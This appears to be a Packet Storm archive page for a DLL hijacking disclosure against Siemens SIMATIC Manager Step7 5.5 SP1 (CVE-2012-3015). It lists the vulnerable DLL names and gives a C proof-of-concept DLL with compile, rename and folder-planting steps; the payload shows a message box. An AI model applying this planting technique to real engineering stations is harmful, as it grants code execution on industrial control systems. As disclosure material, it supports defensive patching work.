exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking
Posted Dec 21, 2016
Authored by Amir.ght

SIMATIC Manager Step7 version 5.5 SP1 suffers a dll hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | ddad2b2fdbce31e4817c2d302d69fee5c22b023791e6fced5b6e4b53324b0972

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

Change Mirror Download
#######################################################
# Exploit Title: SIMATIC Manager Step7 DLL Hijacking
# Cve : 2012-3015
# Author: Ashiyane Digital Security Team
# Vendor Homepage: siemens.com
# Version: >=5.5 SP1
# Tested on:Windows 7
# Exploit by : Amir.ght
########################################################
Description:
Company Name: SIEMENS AG
Product Name: SIEMENS STEP 7/S7(TM) Programmable Controller
SIMATIC-Manager:
The SIMATIC Manager manages all data belonging to an automation project,
regardless of the target system (SIMATIC S7, SIMATIC C7 or SIMATIC WinAC) on which they are implemented.
It provides a common entry point for all SIMATIC S7, C7 or WinAC tools.
The SIMATIC software tools that are necessary for processing the selected data are automatically started by SIMATIC Manager.

Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1,
as used in SIMATIC PCS7 7.1 SP3 and earlier and other products,
allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder.

vulnerabe DLLs:
aC/ winsock32.dll
aC/ s7acalxx.dll
aC/ s7wsilrx.dll
aC/ s7wlclrx.dll
aC/ s7ousbpx.dll And Many Others

###############################################################
# PROOF OF CONCEPT:
For Test this vulnerability we can compile bellow code and rename outfile to
winsock32.dll or s7acalxx.dll and copy dll file to directory of simiatic program.
after opening program malicious dll will be executed
..........................................
//gcc exploit.c -o winsock32.dll -shared
//this dll show a message box

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close